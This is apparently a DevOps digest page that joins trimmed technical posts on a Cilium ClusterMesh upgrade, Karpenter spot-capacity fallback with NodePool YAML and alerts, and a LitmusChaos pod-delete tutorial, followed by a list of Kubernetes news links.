  - Run: cilium clustermesh inspect-policy-default-local-cluster --all-namespaces
  - Audit. Add io.cilium.k8s.policy.cluster selectors to policies that
    intentionally cross clusters.
  - Capture a baseline:
      hubble observe --cluster <remote> --verdict FORWARDED --since 24h
        > pre-upgrade-east-west.jsonl
  - Rename any encryption.strictMode.* Helm keys to encryption.strictMode.egress.*

Day 1 (1.18 to 1.19 upgrade)
  - helm upgrade with:
      clustermesh.policyDefaultLocalCluster: false
      encryption.strictMode.ingress.enabled: false
  - Validate connectivity unchanged.

Day 1+1h (post-upgrade gate)
  - Re-run hubble observe --cluster <remote> --verdict FORWARDED.
    Diff against pre-upgrade-east-west.jsonl. Should be approximately identical.
  - hubble observe --verdict DROPPED --type policy-verdict.
    Quiet for legitimate traffic.

Day 7 (audit complete)
  - Flip clustermesh.policyDefaultLocalCluster: true
  - Watch cilium_drop_count_total{reason="Policy denied"} for an hour.
    Spikes mean a policy still relies on implicit cross-cluster.

Day 8+ (optional strict encryption rollout)
  - If you want strict ingress encryption, enable it on one node first
    via per-node config override.
  - hubble observe --unencrypted should be quiet for that node's
    workloads.
  - Roll node by node.

A small thing that matters: do not flip policyDefaultLocalCluster and enable ingress strict mode in the same change window. You cannot tell which one caused a drop if both fire at once.

Recovery, if you skipped the audit

If you have already upgraded without running the inspect command and traffic is being dropped:

1. Roll the Helm value: clustermesh.policyDefaultLocalCluster: false. This restores 1.18 semantics. East/West traffic resumes.
2. Run cilium clustermesh inspect-policy-default-local-cluster --all-namespaces (it works on 1.19 too, it just lists policies that would differ if you flipped the default).
3. Migrate the policies.
4. Flip the value back to true.

This is recoverable. It is also avoidable. Run the inspect command on 1.18 and you skip the firefight.

Summary

The 1.19 ClusterMesh policy-default flip is the one upgrade item that silently breaks production. The encryption strict-mode changes are knobs, not defaults. The order of operations to upgrade cleanly:

1. Audit policies on 1.18 with cilium clustermesh inspect-policy-default-local-cluster --all-namespaces. Add explicit io.cilium.k8s.policy.cluster selectors where cross-cluster traffic was intentional.
2. Upgrade with clustermesh.policyDefaultLocalCluster: false as a one-release escape hatch.
3. Rename any deprecated encryption.strictMode.* Helm keys to encryption.strictMode.egress.*.
4. Validate post-upgrade with Hubble against a pre-upgrade traffic capture.
5. Flip policyDefaultLocalCluster back to true once the audit is complete and traffic is clean.
6. Roll ingress strict encryption separately, node by node, only after the policy migration has settled.

The hardest part of this upgrade is not the upgrade. It is the audit. Run the inspect command on your live 1.18 cluster today, before the maintenance window. The rest of the steps are mechanical.

This post is a walk through that scenario: what Karpenter is actually doing during a storm, why the maintainers consider it intentional, the workarounds that hold up in production, and the metrics that catch the loop before your customers do.

TLDR

• Karpenter caches "unavailable" spot offerings (instance-type plus AZ plus capacity-type) for a hard-coded 3 minutes, then retries. During a regional storm the retries fail again, and the loop repeats.
• Fallback to on-demand fires only when every compatible spot offering in a single NodePool gets ICE'd inside the same scheduling pass. It does not fire on interruption rate.
• Maintainers have closed the obvious "automatic spot-interruption fallback" feature request (#8298) as working-as-intended. The official answer is: use wider requirements, minValues, and weighted NodePools.
• Production posture today: a weighted spot NodePool with minValues across multiple instance families, a separate on-demand NodePool tainted with karpenter.sh/capacity-type=on-demand:NoSchedule, and alerts on karpenter_cloudprovider_errors_total plus karpenter_nodeclaims_disrupted_total{reason="interruption"}.

Prerequisites

• A cluster running Karpenter (this post references v1 APIs; the behavior is the same on v0.32+ NodePools).
• Familiarity with NodePool, NodeClass, and the v1 requirements schema.
• Prometheus scraping Karpenter's /metrics endpoint.
• Cluster-admin or comparable RBAC for editing NodePools.

The exact behavior during a storm

When CreateFleet returns InsufficientInstanceCapacity, UnfulfillableCapacity, or MaxSpotInstanceCountExceeded, Karpenter writes a log line like this and removes the offering from its in-memory pool:

"message":"failed launching nodeclaim",
"aws-error-code":"UnfulfillableCapacity",
"aws-operation-name":"CreateFleet",
"error":"... InsufficientInstanceCapacity: We currently do not have sufficient c7i.xlarge capacity in the Availability Zone you requested (us-east-1f) ..."

"message":"removing offering from offerings",
"reason":"MaxSpotInstanceCountExceeded",
"instance-type":"r8i-flex.xlarge","zone":"us-east-1d",
"capacity-type":"spot","ttl":"3m0s"

That 3-minute TTL is a hard-coded constant in pkg/cache/cache.go. Three minutes later the offering is back in the pool. Karpenter tries it again. EC2 still does not have spot capacity for c7i.xlarge in us-east-1f. Same log lines. Same eviction. Same wait.

Meanwhile the pods stay Pending. Even if you wrote a second NodePool that allows on-demand, Karpenter will not automatically prefer it during the loop. From maintainer DerekFrank on kubernetes-sigs/karpenter#2275:

If there aren't any on-demand g4dn.xlarge instances available in us-east-1a, it doesn't matter if Karpenter is trying to launch those from NodePool 1 or from NodePool 2. Karpenter won't retry simply because you have two NodePools.

The unit of fallback is the offering, not the NodePool. A NodePool that requires karpenter.sh/capacity-type In [spot] will never produce an on-demand node, no matter how long the storm lasts. The second NodePool exists, but the scheduler picks based on per-offering availability and per-NodePool weight, not on a "this NodePool is failing, switch" signal.

The clearest reproduction is in aws/karpenter-provider-aws#8885: an Orca Security engineer ran a 1000-replica nginx deployment against weighted spot and on-demand NodePools during a real us-east-1 spot storm. 471 pods stayed Pending for more than an hour. The on-demand NodePool was untouched.

Why the maintainers consider this intentional

Two design positions, both still standing as of writing:

The 3-minute TTL is a feature, not a bug. From jmdeal on #8298:

Karpenter does keep track of spot interruption events, but a spot interruption will only cause the instance type to be excluded from launch requests for 3 minutes. Spot availability can change quickly, so we don't want to opt out of using spot for too long.

The argument is that AWS spot pools recover fast. If Karpenter dropped the offering for an hour after one ICE event, you would miss capacity coming back online. So the cache stays short.

The official solution is wide requirements plus minValues, not automatic fallback. Karpenter assumes that if you give EC2 enough latitude in the CreateFleet call (many instance families, multiple sizes, multiple AZs), the price-capacity-optimized strategy will find a spot pool with capacity. Issue #8298, which asked for "automatic spot interruption detection and on-demand fallback," was closed without implementation.

This is internally consistent. It is also a bad fit for two real-world scenarios:

1. Workloads with narrow instance-type constraints. GPU pods, license-pinned workloads, anything that pins to a specific family. The pool of compatible offerings is small. When it dries up, there is nothing for CreateFleet to fall back to within the spot capacity-type.
2. Regional spot storms. When a whole region has spot pressure, widening requirements does not help. Every family is ICE'd.

For both cases you need an explicit fallback path. Karpenter will not build it for you.

Workaround 1: weighted NodePools with wide requirements

The official pattern. The spot NodePool runs at high weight and very wide requirements. The on-demand NodePool runs at low weight and is intended as the safety net.

apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
  name: spot
spec:
  weight: 100
  template:
    spec:
      requirements:
        - key: karpenter.sh/capacity-type
          operator: In
          values: ["spot"]
        - key: karpenter.k8s.aws/instance-family
          operator: In
          values: ["c7i", "c6i", "m7i", "m6i", "r7i", "r6i"]
          minValues: 6
        - key: karpenter.k8s.aws/instance-cpu
          operator: In
          values: ["2", "4", "8"]
          minValues: 3
        - key: kubernetes.io/arch
          operator: In
          values: ["amd64"]
      nodeClassRef:
        group: karpenter.k8s.aws
        kind: EC2NodeClass
        name: default
---
apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
  name: on-demand-fallback
spec:
  weight: 10
  template:
    spec:
      requirements:
        - key: karpenter.sh/capacity-type
          operator: In
          values: ["on-demand"]
        - key: karpenter.k8s.aws/instance-family
          operator: In
          values: ["c7i", "c6i", "m7i", "m6i", "r7i", "r6i"]
          minValues: 6
        - key: karpenter.k8s.aws/instance-cpu
          operator: In
          values: ["2", "4", "8"]
          minValues: 3
        - key: kubernetes.io/arch
          operator: In
          values: ["amd64"]
      nodeClassRef:
        group: karpenter.k8s.aws
        kind: EC2NodeClass
        name: default

The minValues requirement is the single most important knob during a storm. minValues: 6 on instance-family forces CreateFleet to evaluate six different families in the same call. EC2's price-capacity-optimized strategy picks whichever has capacity. You go from "the c7i pool is empty, fail" to "the c7i pool is empty, try m7i, m6i, r7i, r6i, c6i."

Caveat from the Karpenter docs themselves: weighted NodePools are a preference, not a policy.

Based on the way that Karpenter performs pod batching and bin packing, it is not guaranteed that Karpenter will always choose the highest priority NodePool given specific requirements.

Treat weight as a tiebreaker that mostly works, not a guarantee.

Workaround 2: capacity-type taint on the on-demand pool

Without a taint, pods can land on either NodePool. With a heavy spot workload that occasionally bursts to on-demand, you want pods to prefer spot even when on-demand is available. A taint on the on-demand NodePool forces an explicit toleration:

apiVersion: karpenter.sh/v1
kind: NodePool
metadata:
  name: on-demand-fallback
spec:
  weight: 10
  template:
    spec:
      taints:
        - key: karpenter.sh/capacity-type
          value: on-demand
          effect: NoSchedule
      requirements:
        - key: karpenter.sh/capacity-type
          operator: In
          values: ["on-demand"]
        # ... family/cpu/arch as above

Workloads that should fail over add the toleration:

spec:
  tolerations:
    - key: karpenter.sh/capacity-type
      operator: Equal
      value: on-demand
      effect: NoSchedule

This gives you two benefits. First, on-demand becomes opt-in per workload, so a misconfigured deployment cannot accidentally burn money. Second, your dashboards now show "on-demand nodes provisioned" as a clean signal that fallback fired, since on-demand only happens for tolerating workloads.

Workaround 3: a tiny external controller

There is no upstream-blessed operator for spot-storm detection. Some teams build a small controller that watches Karpenter's error metrics and patches the spot NodePool to temporarily remove spot from karpenter.sh/capacity-type when interruption rates spike. The shape is straightforward:

1. Watch karpenter_cloudprovider_errors_total{error=~"Insufficient.*|Unfulfillable.*"}
2. If rate > threshold for N minutes, patch the spot NodePool:
     requirements:
       - key: karpenter.sh/capacity-type
         operator: In
         values: ["on-demand"]
3. After M minutes of error-rate quiet, revert.

This is not a substitute for workarounds 1 and 2. It is what you build when narrow-constraint workloads (GPU, instance-pinned) still need a fallback path. Treat it as an internal tool, not a product.

Metrics that catch the storm

Karpenter exposes a useful set of cloudprovider metrics. The ones that matter during a storm:

• karpenter_cloudprovider_errors_total: label error carries InsufficientInstanceCapacity, UnfulfillableCapacity, MaxSpotInstanceCountExceeded. A spike is the storm starting.
• karpenter_cloudprovider_instance_type_offering_available: gauge per instance_type / capacity_type / zone. Watch the sum drop.
• karpenter_nodeclaims_created_total, karpenter_nodeclaims_terminated_total, karpenter_nodeclaims_disrupted_total{reason="interruption"}: when disrupted{reason=interruption} rate approaches created rate, you are churning.
• karpenter_interruption_received_messages_total{message_type="SpotInterruptionKind"}: spot 2-minute warnings from the SQS queue.
• karpenter_voluntary_disruption_decisions_total, karpenter_voluntary_disruption_queue_failures_total.

A working Prometheus alert that has caught real storms in production:

- alert: KarpenterSpotStorm
  expr: |
    sum(rate(karpenter_nodeclaims_disrupted_total{reason="interruption"}[10m])) > 0.05
    and
    sum(rate(karpenter_cloudprovider_errors_total{error=~"InsufficientInstanceCapacity|UnfulfillableCapacity"}[10m])) > 0.1
  for: 10m
  labels:
    severity: warning
  annotations:
    summary: "Karpenter is looping on spot capacity errors"
    description: |
      Spot interruption rate is above 0.05/s AND CreateFleet capacity
      errors are above 0.1/s for 10m. The 3-minute offering TTL is
      probably looping. Consider temporarily widening the on-demand
      NodePool weight or removing 'spot' from the capacity-type
      requirement until the region clears.

The AND matters. Either signal alone is noisy. Together they describe the loop specifically.

Known bugs in the metrics themselves

A few sharp edges worth knowing about before you build a dashboard on these:

• karpenter_interruption_received_messages_total{message_type="SpotInterruptionKind"} includes account-wide spot interruption events, not just Karpenter-managed instances. It will not match karpenter_nodeclaims_terminated_total{reason="interruption"}. Issue aws/karpenter-provider-aws#6376 is still open as of writing.
• Earlier versions of Karpenter (around v0.37.0) incremented karpenter_interruption_received_messages_total by 2 per event. The fix shipped, but worth verifying against the cluster version you actually run. Issue #6531.
• Metrics scraped from the standby (non-leader) replica return zeros or stale values, so scraping the Service can yield phantom drops. Issue kubernetes-sigs/karpenter#1450. Scrape the Pod, not the Service, or scrape both and reconcile.
• karpenter_cloudprovider_errors_total does not carry a nodepool label. You cannot alert directly on "the spot NodePool is storming." Infer it from the capacity_type label if your provider build labels it, and confirm against your version. Open ask in #8224.

What to expect from the roadmap

As of writing, none of the obvious "automatic fallback" feature requests are scheduled. Issue #8298 was closed without implementation. Issue #2275 was closed as working-as-intended in January 2026. The configurable cache TTL and NodePool-aware metrics in #8224 are still open with no design doc attached.

This is not because the maintainers don't care. It is because the architectural answer they are committed to (wide requirements plus minValues plus weighted NodePools) covers most cases. The cases it does not cover (narrow-constraint workloads, regional storms) are real, but rare enough that the project has not prioritized building the fallback machinery.

Practically, this means the production posture is yours to design. Plan for the storm.

Summary

Karpenter does not auto-fail-over from spot to on-demand. The 3-minute offering TTL plus per-offering retry semantics produce a tight loop during regional capacity storms that can keep workloads Pending for hours while on-demand capacity sits idle. The maintainers consider this intentional and recommend wide instance-type requirements plus weighted NodePools as the answer.

In production, run:

1. A spot NodePool with at least six instance families and minValues: 6 on family, plus minValues on CPU.
2. A separate on-demand NodePool with a karpenter.sh/capacity-type=on-demand:NoSchedule taint so fallback is opt-in.
3. A Prometheus alert that pairs karpenter_nodeclaims_disrupted_total{reason="interruption"} rate with karpenter_cloudprovider_errors_total rate, firing only when both spike together.
4. An internal runbook that documents how to temporarily remove spot from the spot NodePool's karpenter.sh/capacity-type values during a storm, since Karpenter will not do it for you.

The smart spot handler is still the right default. Just don't trust it to handle the day spot capacity stops being a thing.

That is the gap chaos engineering fills. You break things on purpose during business hours, with a hypothesis and a stop button, and you learn what actually happens before a node failure or a kernel OOM teaches you the hard way.

This post walks through running your first experiment with LitmusChaos: install it, target a real deployment, kill a pod, and watch whether the system recovers like you expect.

TL;DR

Install Litmus with Helm, label your target deployment, apply a ChaosExperiment and ChaosEngine for pod-delete, and watch the ChaosResult to see if your app passed. The whole loop takes about 20 minutes on a fresh cluster.

Prerequisites

• A Kubernetes cluster you do not mind poking. A local kind or minikube cluster is fine for the first run.
• kubectl configured and pointing at that cluster.
• Helm 3.x installed.
• A workload to break. The post uses nginx with three replicas, but any Deployment will do.

If you do not have a cluster handy, spin one up with kind:

kind create cluster --name chaos-lab
kubectl cluster-info --context kind-chaos-lab

What Litmus Actually Is

Litmus is a Kubernetes-native chaos platform. You write experiments as YAML, apply them with kubectl, and Litmus runs a chaos runner pod that injects the failure (kill a pod, hog CPU, drop network packets) against a target you select with labels.

Three resources matter:

• ChaosExperiment: the definition of the fault. What to inject, with what defaults. Think of it as a function.
• ChaosEngine: the invocation. Which experiment, against which target, with what arguments. This is the thing you apply when you want chaos to start.
• ChaosResult: the verdict. Pass or fail, written by Litmus after the experiment runs.

You install the platform once. You ship experiments per fault type. You apply engines per drill.

Install Litmus

Add the Helm repo and install the control plane into its own namespace:

kubectl create namespace litmus

helm repo add litmuschaos https://litmuschaos.github.io/litmus-helm/
helm repo update

helm install chaos litmuschaos/litmus \
  --namespace=litmus \
  --set portal.frontend.service.type=ClusterIP

Wait for the pods to come up:

kubectl -n litmus get pods

You should see something like this:

NAME                                     READY   STATUS    RESTARTS   AGE
chaos-litmus-frontend-7c8f6b9c4d-x2k8m   1/1     Running   0          2m
chaos-litmus-server-6b5d4f8c9-pq7nz      1/1     Running   0          2m
chaos-mongo-0                            1/1     Running   0          2m

The control plane is the optional ChaosCenter UI. The actual experiment runner is the chaos operator, which you install next.

Install the Chaos Operator and Experiments

The operator watches for ChaosEngine resources and runs them. The experiment catalog ships separately so you can pick the faults you want.

kubectl apply -f https://litmuschaos.github.io/litmus/3.0.0/litmus-k8s-3.0.0.yaml

Check that the operator is healthy:

kubectl -n litmus get pods -l app.kubernetes.io/component=operator

Then load the generic experiment pack (pod-delete, container-kill, pod-cpu-hog, pod-memory-hog, and more) into the namespace where your target lives. For this walkthrough, that namespace is default:

kubectl apply -f https://hub.litmuschaos.io/api/chaos/3.0.0?file=charts/generic/experiments.yaml -n default

Verify the experiments are registered:

kubectl get chaosexperiments -n default

NAME                AGE
pod-delete          12s
container-kill      12s
pod-cpu-hog         12s
pod-memory-hog      12s
pod-network-loss    12s

Deploy Something to Break

If you do not already have a target, deploy a small nginx with three replicas:

kubectl create deployment web --image=nginx:1.27 --replicas=3
kubectl expose deployment web --port=80
kubectl label deployment web app=web

Confirm the pods are running:

kubectl get pods -l app=web

NAME                   READY   STATUS    RESTARTS   AGE
web-6c8b9d7f4-2lhmn    1/1     Running   0          30s
web-6c8b9d7f4-7gxqp    1/1     Running   0          30s
web-6c8b9d7f4-rk9vx    1/1     Running   0          30s

Give Litmus Permission to Cause Chaos

Litmus runs experiments under a ServiceAccount with a tightly scoped Role. Without it, the experiment pod cannot touch your workload. Apply this RBAC into the default namespace:

# litmus-rbac.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: pod-delete-sa
  namespace: default
  labels:
    name: pod-delete-sa
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: pod-delete-sa
  namespace: default
  labels:
    name: pod-delete-sa
rules:
  - apiGroups: [""]
    resources: ["pods", "events"]
    verbs: ["create", "list", "get", "patch", "update", "delete", "deletecollection"]
  - apiGroups: [""]
    resources: ["pods/log", "replicationcontrollers", "configmaps", "services"]
    verbs: ["get", "list"]
  - apiGroups: ["apps"]
    resources: ["deployments", "statefulsets", "daemonsets", "replicasets"]
    verbs: ["list", "get"]
  - apiGroups: ["litmuschaos.io"]
    resources: ["chaosengines", "chaosexperiments", "chaosresults"]
    verbs: ["create", "list", "get", "patch", "update", "delete"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: pod-delete-sa
  namespace: default
  labels:
    name: pod-delete-sa
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: pod-delete-sa
subjects:
  - kind: ServiceAccount
    name: pod-delete-sa
    namespace: default

kubectl apply -f litmus-rbac.yaml

Write the Experiment

Time for the actual fault. This ChaosEngine targets the web deployment, picks one pod at random every 10 seconds for 30 seconds total, and kills it. The deployment controller should immediately create replacements.

# pod-delete-engine.yaml
apiVersion: litmuschaos.io/v1alpha1
kind: ChaosEngine
metadata:
  name: web-pod-delete
  namespace: default
spec:
  appinfo:
    appns: default
    applabel: 'app=web'
    appkind: 'deployment'
  chaosServiceAccount: pod-delete-sa
  engineState: 'active'
  experiments:
    - name: pod-delete
      spec:
        components:
          env:
            - name: TOTAL_CHAOS_DURATION
              value: '30'
            - name: CHAOS_INTERVAL
              value: '10'
            - name: FORCE
              value: 'false'
            - name: PODS_AFFECTED_PERC
              value: '33'

A few things worth flagging:

• applabel is how Litmus picks targets. Anything matching app=web in the default namespace is fair game.
• PODS_AFFECTED_PERC: '33' means one pod out of three each round. Start small.
• FORCE: 'false' uses a graceful delete with the pod's terminationGracePeriod. Flip to true to simulate a kernel kill, which is the more honest test.
• engineState: active starts the experiment immediately on apply. Set it to stop to bail out.

Apply it:

kubectl apply -f pod-delete-engine.yaml

Watch It Run

Open three terminals. In the first, watch your app:

kubectl get pods -l app=web -w

You should see pods being terminated and new ones starting:

web-6c8b9d7f4-2lhmn    1/1     Terminating   0     2m
web-6c8b9d7f4-zk4tx    0/1     Pending       0     0s
web-6c8b9d7f4-zk4tx    0/1     ContainerCreating  0  1s
web-6c8b9d7f4-zk4tx    1/1     Running       0     3s

In the second, watch the Litmus runner pod:

kubectl -n default get pods -l name=web-pod-delete-runner -w

In the third, hammer the service so you can see if traffic ever fails:

kubectl run curl-loop --image=curlimages/curl --restart=Never -- \
  sh -c 'while true; do curl -s -o /dev/null -w "%{http_code}\n" http://web; sleep 0.5; done'

kubectl logs -f curl-loop

If your readiness probe and service are wired up correctly, you see a stream of 200s. If you see 000 or 503 in there, that is a finding. Either readiness is lying about pod health, or your replica count is too low to absorb a single failure.

Read the Verdict

When the runner pod finishes, look at the result:

kubectl get chaosresult web-pod-delete-pod-delete -n default -o yaml

The interesting bit:

status:
  experimentStatus:
    phase: Completed
    verdict: Pass
    failStep: 'N/A'
  probeStatus: []

Pass means Litmus killed pods and the deployment kept the target replica count up through the run. Fail means a probe tripped (more on probes below) or the experiment could not target anything.

For the full story, check the events the runner emitted:

kubectl describe chaosresult web-pod-delete-pod-delete -n default

Make It Real With Probes

A Pass from pod-delete alone just means pods came back. It does not mean your users got served. Probes turn the experiment into a real SLO check. Litmus runs them during the chaos window and fails the result if the probe fails.

Add an httpProbe to the engine that hits the service every two seconds and expects a 200:

experiments:
  - name: pod-delete
    spec:
      probe:
        - name: web-availability
          type: httpProbe
          mode: Continuous
          runProperties:
            probeTimeout: 2
            interval: 2
            retry: 1
            stopOnFailure: false
          httpProbe/inputs:
            url: http://web.default.svc.cluster.local
            insecureSkipVerify: false
            method:
              get:
                criteria: ==
                responseCode: '200'
      components:
        env:
          - name: TOTAL_CHAOS_DURATION
            value: '30'

Re-apply. Now if even one HTTP check fails during the 30-second chaos window, the verdict flips to Fail. That is the signal you actually want: not "pods recovered" but "users were served the whole time."

What To Try Next

Once pod-delete passes with a probe, you have a working chaos loop. Use it. A short menu to work through, in roughly increasing pain:

1. container-kill: kill only the app container without taking the pod down. Surfaces broken restart logic and exposes anything that initializes only on pod start.
2. pod-cpu-hog and pod-memory-hog: pin a pod's resources. Validates that HPA reacts and that your requests/limits are not lying.
3. pod-network-loss: drop a percentage of packets between the target and the world. Excellent for finding retry storms and absent timeouts.
4. node-drain: cordon and drain a node out from under the workload. The honest test of PodDisruptionBudgets.

Two operational habits to build alongside the experiments:

• Always set engineState, not just delete-on-cleanup. Patching the engine to stop is the kill switch. Keep that command in your runbook so the on-call can stop chaos in one line if something goes sideways: kubectl patch chaosengine web-pod-delete -n default --type merge -p '{"spec":{"engineState":"stop"}}'.
• Start in a non-prod cluster, then move to prod with a PODS_AFFECTED_PERC of 10 and a probe. Prod chaos without a probe is sabotage. Prod chaos with a probe is testing.

Chaos engineering stops being scary the moment you have run the loop once. Pick one deployment this week, run pod-delete against it with an httpProbe, and find out whether your readiness probe was lying to you.

📌 Handpicked by be4n - Your weekly dose of curated DevOps news and updates!

⚓ Kubernetes

📄 What kubectl debug doesn’t tell you: The silent evidence gap

The session that left no record A kubectl debug session can contain the only direct observation of a failing system state. However, once the session ends, Kubernetes does not retain the termination co

📅 May 18, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Kubernetes v1.36: New Metric for Route Sync in the Cloud Controller Manager

This article was originally published with the wrong date. It was later republished, dated the 15th of May 2026. Kubernetes v1.36 introduces a new alpha counter metric route_controller_route_sync_tota

📅 May 15, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 Kubernetes v1.36: Mixed Version Proxy Graduates to Beta

Back in Kubernetes 1.28, we introduced the Mixed Version Proxy (MVP) as an Alpha feature (under the feature gate UnknownVersionInteroperabilityProxy) in a previous blog post. The goal was simple but c

📅 May 15, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 Kubernetes v1.36: Deprecation and removal of Service ExternalIPs

The .spec.externalIPs field for Service was an early attempt to provide cloud-load-balancer-like functionality for non-cloud clusters. Unfortunately, the API assumes that every user in the cluster is

📅 May 14, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 When AI agents become contributors: How KubeStellar reached 81% PR acceptance

In mid-December, I started building KubeStellar Console from scratch. It’s a multi-cluster management dashboard for Kubernetes, and it sits inside the KubeStellar project in the Cloud Native Computing

📅 May 14, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Kubernetes v1.36: Advancing Workload-Aware Scheduling

AI/ML and batch workloads introduce unique scheduling challenges that go beyond simple Pod-by-Pod scheduling. In Kubernetes v1.35, we introduced the first tranche of workload-aware scheduling improvem

📅 May 13, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 Maximizing value with Amazon EKS Auto Mode: Strategies for visibility, control, and optimization

In this post, we explore how to maximize Auto Mode's value through comprehensive cost visibility, proactive governance, and continuous optimization strategies. We cover essential cost management dimen

📅 May 13, 2026 • 📰 AWS Containers Blog

🔗 Read more

📄 Building a cloud native platform from the ground up with Kairos, k0rdent, and bindy

As we shared in our earlier post on FluxCD, RBC Capital Markets has been on a deliberate journey to modernize our Kubernetes platform. GitOps with FluxCD gave us a solid deployment foundation. But as

📅 May 13, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Kubernetes at Uber with Lucy Sweet

Guest is Lucy Sweet, a Staff Software engineer at Uber and the lead for the Kubernetes Node Lifecycle Working Group. Imagine trying to move millions of compute cores and thousands of microservices to

📅 May 13, 2026 • 📰 Kubernetes Podcast

🔗 Read more

📄 Stop managing the past and start building IT’s future

We’re continuing to navigate a fundamental shift in digital infrastructure. Over the past 18 months, the predictability of the virtualization layer has shed nearly 20 years of stability driven by an u

📅 May 13, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Red Hat partner ecosystem: A year of expanding choice for virtualized workloads on Red Hat OpenShift Virtualization

It has been about a year since the last review of Red Hat’s partner ecosystem for Red Hat OpenShift Virtualization. We've had a lot of success in the infrastructure space, including improvements to st

📅 May 13, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Back up and restore your Amazon EKS cluster resources using Velero

In this post, you'll learn to back up and restore Amazon EKS cluster resources and persistent volume data using Velero. You'll deploy a sample stateful application, back it up, and restore it to a dif

📅 May 12, 2026 • 📰 AWS Containers Blog

🔗 Read more

☁️ Cloud Native

📄 Custom MCP Catalogs and Profiles: Advancing Enterprise MCP Adoption

We’re excited to announce the general availability of Custom Catalogs and Profiles for managing Model Context Protocol (MCP) servers. These two complementary capabilities fundamentally change how team

📅 May 15, 2026 • 📰 Docker Blog

🔗 Read more

📄 Extending AI gateways with Rust: Custom transformations in agentgateway and kgateway

Every gateway ships with a set of built-in policies. Authentication. Rate limiting. Request routing. Prompt guards. These cover most use cases. But what about the ones they don’t cover? What if you ne

📅 May 15, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Counting to 3 with a new builder processing 50M+ monthly builds

We replaced our Docker-buildx GCP autoscaler with a fleet of microVM build cells running BuildKit. Here's what we learned rolling it out.

📅 May 14, 2026 • 📰 Railway Blog

🔗 Read more

📄 NIST Narrows the NVD: What Container Security Programs Should Reassess

On April 15, NIST announced a prioritized enrichment model for the National Vulnerability Database. Most CVEs will still be published, but fewer will receive the CVSS scores, CPE mappings, and CWE cla

📅 May 13, 2026 • 📰 Docker Blog

🔗 Read more

📄 Docker AI Governance: Unlock Agent Autonomy, Safely

Introducing Docker AI Governance: centralized control over how agents execute, what they can reach on the network, which credentials they can use, and which MCP tools they can call, so every developer

📅 May 12, 2026 • 📰 Docker Blog

🔗 Read more

📄 Implement centralized observability for multi-account Amazon EKS

This post shows you how to unify your existing Container Insights and CloudWatch data into a centralized monitoring hub using a hub-and-spoke architecture. You will unify fragmented observability data

📅 May 12, 2026 • 📰 AWS Containers Blog

🔗 Read more

🔄 CI/CD

📄 GitLab Act 2: Still an Open Book

An analysis of GitLab’s "Act 2" transition under CEO Bill Staples, examining whether the company can successfully pivot to an AI-native, agentic software delivery model while dismantling the radically

📅 May 18, 2026 • 📰 DevOps.com

🔗 Read more

📄 Core Java vs Enterprise Java: Jakarta EE & Spring Boot 2026

Java SE, Jakarta EE, and Spring Boot have converged more than most teams realize. A 2026 guide to choosing — and standardizing — your enterprise Java stack. | Blog

📅 May 18, 2026 • 📰 Harness Blog

🔗 Read more

📄 What a Context Graph Actually Is, and How to Build One

Context graphs help AI agents reason through work by modeling how processes actually happen across your organization. This practical guide breaks down what they are, how they differ from knowledge gra

📅 May 18, 2026 • 📰 Harness Blog

🔗 Read more

📄 Building a general-purpose accessibility agent—and what we learned in the process